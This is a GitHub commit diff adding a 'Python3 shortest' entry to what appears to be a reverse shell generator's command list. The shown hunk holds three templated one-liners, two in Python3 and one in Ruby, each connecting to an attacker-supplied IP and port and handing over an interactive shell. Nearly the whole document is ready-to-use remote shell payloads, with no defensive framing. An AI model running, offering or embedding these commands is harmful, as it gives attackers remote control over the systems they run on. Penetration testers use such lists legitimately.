Merge pull request #48 from ricxpl/patch-1

Add Python3 shortest one-liner
This commit is contained in:
Ryan Montgomery 2021-05-30 10:48:23 -04:00 committed by GitHub
commit 95bf316ee7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -198,6 +198,11 @@ const reverseShellCommands = withCommandType(
"command": "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"{shell}\")'",
"meta": ["linux", "mac"]
},
{
"name": "Python3 shortest",
"command": "python3 -c'import os,pty,socket;s=socket.socket();s.connect((\"{ip}\",{port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"{shell}\")'",
"meta": ["linux"]
},
{
"name": "Ruby #1",
"command": "ruby -rsocket -e'f=TCPSocket.open(\"{ip}\",{port}).to_i;exec sprintf(\"{shell} -i <&%d >&%d 2>&%d\",f,f,f)'",